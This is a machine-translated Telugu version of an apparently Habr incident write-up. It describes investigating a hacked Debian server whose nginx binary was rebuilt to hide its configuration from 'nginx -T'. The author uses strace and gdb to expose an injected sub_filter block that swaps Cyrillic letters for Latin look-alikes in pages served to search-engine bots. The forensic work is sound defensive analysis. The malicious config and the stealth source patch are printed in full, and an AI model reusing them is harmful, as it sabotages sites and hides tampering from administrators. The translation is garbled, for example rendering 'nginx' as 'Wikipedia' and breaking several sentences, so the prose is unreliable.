'a' అనేది 'a'కి సమానం కానప్పుడు. హ్యాక్ నేపథ్యంలో

నా స్నేహితుల్లో ఒకరికి చాలా అసహ్యకరమైన కథ జరిగింది. కానీ అది మిఖాయిల్‌కు ఎంత అసహ్యకరమైనదో, అది నాకు వినోదాన్ని పంచింది.

నా స్నేహితుడు మంచివాడని చెప్పాలి యూనిక్స్-యూజర్: సిస్టమ్‌ను స్వయంగా ఇన్‌స్టాల్ చేసుకోవచ్చు mysql, php మరియు సాధారణ సెట్టింగులను చేయండి వికీపీడియా.
మరియు అతను నిర్మాణ సాధనాలకు అంకితమైన డజను లేదా ఒకటిన్నర వెబ్‌సైట్‌లను కలిగి ఉన్నాడు.

చైన్‌సాలకు అంకితమైన ఈ సైట్‌లలో ఒకటి సెర్చ్ ఇంజన్‌లలో టాప్‌లో స్థిరంగా ఉంటుంది. ఈ సైట్ నాన్ కమర్షియల్ రివ్యూయర్, కానీ ఎవరైనా దీని మీద దాడి చేయడం అలవాటు చేసుకున్నారు. ఆ DDoS, తర్వాత క్రూరమైన శక్తి, ఆపై వారు అశ్లీల వ్యాఖ్యలు వ్రాస్తారు మరియు హోస్టింగ్ మరియు RKNకి దుర్వినియోగాలను పంపుతారు.
అకస్మాత్తుగా, ప్రతిదీ శాంతించింది మరియు ఈ ప్రశాంతత మంచిది కాదని తేలింది మరియు సైట్ క్రమంగా శోధన ఫలితాల యొక్క అగ్ర పంక్తులను వదిలివేయడం ప్రారంభించింది.

'a' అనేది 'a'కి సమానం కానప్పుడు. హ్యాక్ నేపథ్యంలో

అది ఒక సామెత, అప్పుడు అడ్మిన్ కథ కూడా.

నిద్రపోయే సమయానికి ఫోన్ మోగింది: “శాన్, నువ్వు నా సర్వర్‌ని చూడలేదా? నేను హ్యాక్ చేయబడినట్లు నాకు అనిపిస్తోంది, నేను దానిని నిరూపించలేను, కానీ మూడవ వారంలో ఆ భావన నన్ను విడిచిపెట్టలేదు. బహుశా నేను మతిస్థిమితం కోసం చికిత్స పొందే సమయం ఇదేనా?"

తరువాత జరిగినది అరగంట చర్చ, ఈ క్రింది విధంగా సంగ్రహించవచ్చు:

  • హ్యాకింగ్ కోసం నేల చాలా సారవంతమైనది;
  • దాడి చేసే వ్యక్తి సూపర్‌యూజర్ హక్కులను పొందవచ్చు;
  • దాడి (అది జరిగితే) ఈ సైట్‌లో ప్రత్యేకంగా లక్ష్యంగా చేయబడింది;
  • సమస్య ప్రాంతాలు సరిదిద్దబడ్డాయి మరియు ఏదైనా చొచ్చుకుపోయిందా అని మీరు అర్థం చేసుకోవాలి;
  • హాక్ సైట్ కోడ్ మరియు డేటాబేస్‌లను ప్రభావితం చేయలేదు.

చివరి అంశానికి సంబంధించి.

'a' అనేది 'a'కి సమానం కానప్పుడు. హ్యాక్ నేపథ్యంలో

తెల్లటి ఫ్రంటెండ్ IP మాత్రమే ప్రపంచాన్ని చూస్తుంది. http(లు) మినహా బ్యాకెండ్‌లు మరియు ఫ్రంటెండ్‌ల మధ్య ఎటువంటి మార్పిడి లేదు, వినియోగదారులు/పాస్‌వర్డ్‌లు భిన్నంగా ఉంటాయి, కీలు మారలేదు. బూడిద రంగు చిరునామాలపై, 80/443 మినహా అన్ని పోర్ట్‌లు మూసివేయబడతాయి. వైట్ బ్యాకెండ్ IPలు మిఖాయిల్ పూర్తిగా విశ్వసించే ఇద్దరు వినియోగదారులకు మాత్రమే తెలుసు.

ఫ్రంటెండ్‌లో ఇన్‌స్టాల్ చేయబడింది డెబియన్ 9 మరియు కాల్ చేసే సమయానికి, సిస్టమ్ బాహ్య ఫైర్‌వాల్ ద్వారా ప్రపంచం నుండి వేరు చేయబడి ఆగిపోతుంది.

"సరే, నాకు యాక్సెస్ ఇవ్వండి," నేను ఒక గంట నిద్రను నిలిపివేయాలని నిర్ణయించుకున్నాను. "నేను నా కళ్ళతో చూస్తాను."

ఇక్కడ మరియు మరింత:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

సాధ్యమయ్యే హ్యాక్ కోసం వెతుకుతోంది

నేను ముందుగా సర్వర్‌ని ప్రారంభిస్తాను రెస్క్యూ-మోడ్. నేను డిస్కులను మౌంట్ చేసి వాటి ద్వారా తిప్పుతాను auth-లాగ్‌లు, చరిత్ర, సిస్టమ్ లాగ్‌లు మొదలైనవి, వీలైతే, ఫైల్ సృష్టి తేదీలను నేను తనిఖీ చేస్తాను, అయినప్పటికీ ఒక సాధారణ క్రాకర్ తన తర్వాత "తుడిచిపెట్టుకుపోతాడు" అని నేను అర్థం చేసుకున్నాను మరియు మిషా తన కోసం వెతుకుతున్నప్పుడు అప్పటికే చాలా "తొలగించబడ్డాడు". .

నేను సాధారణ మోడ్‌లో ప్రారంభిస్తాను, ఏమి చూడాలో ఇంకా అర్థం కాలేదు, నేను కాన్ఫిగర్‌లను అధ్యయనం చేస్తున్నాను. అన్నింటిలో మొదటిది, నాకు ఆసక్తి ఉంది వికీపీడియా ఎందుకంటే, సాధారణంగా, ఫ్రంటెండ్‌లో అది తప్ప మరేమీ లేదు.
కాన్ఫిగరేషన్‌లు చిన్నవి, డజను ఫైల్‌లుగా బాగా నిర్మించబడ్డాయి, నేను వాటి ద్వారా చూస్తాను పిల్లి'ఓహ్ ఒక్కొక్కటిగా. ప్రతిదీ శుభ్రంగా ఉన్నట్లు అనిపిస్తుంది, కానీ నేను ఏదైనా కోల్పోయానో లేదో మీకు ఎప్పటికీ తెలియదు ఉన్నాయి, నేను పూర్తి జాబితాను తయారు చేయనివ్వండి:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

నాకు అర్థం కాలేదు: “లిస్టింగ్ ఎక్కడ ఉంది?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

జాబితా ప్రశ్నకు రెండవ ప్రశ్న జోడించబడింది: "nginx యొక్క పురాతన సంస్కరణ ఎందుకు?"

అదనంగా, సిస్టమ్ తాజా వెర్షన్ ఇన్‌స్టాల్ చేయబడిందని నమ్ముతుంది:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

నేను కాల్ చేస్తున్నాను:
- మిషా, మీరు ఎందుకు తిరిగి సమావేశమయ్యారు? వికీపీడియా?
- ఆగండి, దీన్ని ఎలా చేయాలో కూడా నాకు తెలియదు!
- సరే, పడుకో...

వికీపీడియా ఇది స్పష్టంగా పునర్నిర్మించబడింది మరియు “-T”ని ఉపయోగించి జాబితా యొక్క అవుట్‌పుట్ ఒక కారణం కోసం దాచబడింది. హ్యాకింగ్ గురించి ఇకపై ఎలాంటి సందేహాలు లేవు మరియు మీరు దానిని అంగీకరించవచ్చు మరియు (మిషా ఏమైనప్పటికీ సర్వర్‌ను కొత్త దానితో భర్తీ చేసినందున) సమస్య పరిష్కరించబడిందని పరిగణించండి.

మరియు నిజానికి, ఎవరైనా హక్కులు పొందారు కాబట్టి రూట్'ఆహ్, అలా చేయడం మాత్రమే అర్ధమే సిస్టమ్ రీఇన్‌స్టాల్, మరియు అక్కడ ఏమి తప్పు అని వెతకడం పనికిరానిది, కానీ ఈసారి ఉత్సుకత నిద్రను ఓడించింది. వారు మన నుండి ఏమి దాచాలనుకుంటున్నారో మనం ఎలా కనుగొనగలం?

ట్రేస్ చేయడానికి ప్రయత్నిద్దాం:

$ strace nginx -T

మేము దానిని పరిశీలిస్తాము, ట్రేస్ ఎ లాలో స్పష్టంగా తగినంత పంక్తులు లేవు

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

కేవలం వినోదం కోసం, కనుగొన్న వాటిని సరిపోల్చండి.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

నేను కోడ్‌లో భాగమని అనుకుంటున్నాను /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

రూపానికి తీసుకురాబడింది:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

లేదా

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

కాబట్టి "-T" ద్వారా జాబితా ప్రదర్శించబడదు.

కానీ మన కాన్ఫిగరేషన్‌ని ఎలా వీక్షించవచ్చు?

నా ఆలోచన సరైనది మరియు సమస్య వేరియబుల్‌లో మాత్రమే ఉంటే ngx_dump_config దీన్ని ఉపయోగించి ఇన్‌స్టాల్ చేయడానికి ప్రయత్నిద్దాం gdb, అదృష్టవశాత్తూ ఒక కీ ఉంది --cc-optతో -g ప్రస్తుత మరియు ఆప్టిమైజేషన్ ఆశిస్తున్నాము -O2 అది మనల్ని బాధించదు. అదే సమయంలో, ఎలా చేయాలో నాకు తెలియదు కాబట్టి ngx_dump_config లో ప్రాసెస్ చేయవచ్చు కేసు 'T':, మేము ఈ బ్లాక్‌ని పిలవము, కానీ దీన్ని ఉపయోగించి ఇన్‌స్టాల్ చేస్తాము కేసు 't':

మీరు '-t' అలాగే '-T'ని ఎందుకు ఉపయోగించవచ్చుబ్లాక్ ప్రాసెసింగ్ if(ngx_dump_config) లోపల జరుగుతుంది ఉంటే(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

వాస్తవానికి, ఈ భాగంలో కోడ్ మార్చబడితే మరియు కాదు కేసు 'T':, అప్పుడు నా పద్ధతి పని చేయదు.

పరీక్ష nginx.confఇప్పటికే సమస్యను ప్రయోగాత్మకంగా పరిష్కరించినందున, మాల్వేర్ పని చేయడానికి కనీస కాన్ఫిగరేషన్ అవసరమని నిర్ధారించబడింది వికీపీడియా రకం:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

మేము దానిని వ్యాసంలో సంక్షిప్తత కోసం ఉపయోగిస్తాము.

డీబగ్గర్‌ను ప్రారంభించండి

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

స్టెప్ బై స్టెప్:

  • ఫంక్షన్‌లో బ్రేక్‌పాయింట్‌ని సెట్ చేయండి main ()
  • కార్యక్రమాన్ని ప్రారంభించండి
  • కాన్ఫిగర్ అవుట్‌పుట్‌ను నిర్ణయించే వేరియబుల్ విలువను మార్చండి ngx_dump_config=1
  • ప్రోగ్రామ్‌ను కొనసాగించండి/ముగించండి

మనం చూడగలిగినట్లుగా, నిజమైన కాన్ఫిగర్ మాది భిన్నంగా ఉంటుంది, మేము దాని నుండి పరాన్నజీవి భాగాన్ని ఎంచుకుంటాము:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ఈ క్రమంలో ఇక్కడ ఏం జరుగుతుందో ఒకసారి చూద్దాం.

నిర్ణయించబడింది యూజర్-ఏజెంట్యొక్క yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

సేవా పేజీలు మినహాయించబడ్డాయి బ్లాగు:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

మరియు పైన పేర్కొన్న రెండు షరతుల క్రిందకు వచ్చేవారికి

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

వచనంలో HTML-పేజీలు మారతాయి 'ఓ''ఓ' и 'ఎ''అ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

అది నిజం, ఏకైక సూక్ష్మభేదం 'a' != 'a' అలాగే 'o' != 'o':

'a' అనేది 'a'కి సమానం కానప్పుడు. హ్యాక్ నేపథ్యంలో

ఈ విధంగా, శోధన ఇంజిన్ బాట్‌లు సాధారణ 100% సిరిలిక్ టెక్స్ట్‌కు బదులుగా, లాటిన్‌తో కరిగించిన సవరించిన చెత్తను స్వీకరిస్తాయి. 'అ' и 'ఓ'. ఇది SEOని ఎలా ప్రభావితం చేస్తుందో చర్చించడానికి నేను ధైర్యం చేయను, కానీ అలాంటి అక్షరాల గందరగోళం శోధన ఫలితాల్లోని స్థానాలపై సానుకూల ప్రభావాన్ని చూపే అవకాశం లేదు.

నేను ఏమి చెప్పగలను, ఊహ ఉన్న అబ్బాయిలు.

సూచనలు

GDBతో డీబగ్గింగ్
gdb(1) — Linux మ్యాన్ పేజీ
strace(1) — Linux మ్యాన్ పేజీ
Nginx - మాడ్యూల్ ngx_http_sub_module
రంపాలు, చైన్సాలు మరియు ఎలక్ట్రిక్ రంపపు గురించి

మూలం: www.habr.com

ఒక వ్యాఖ్యను జోడించండి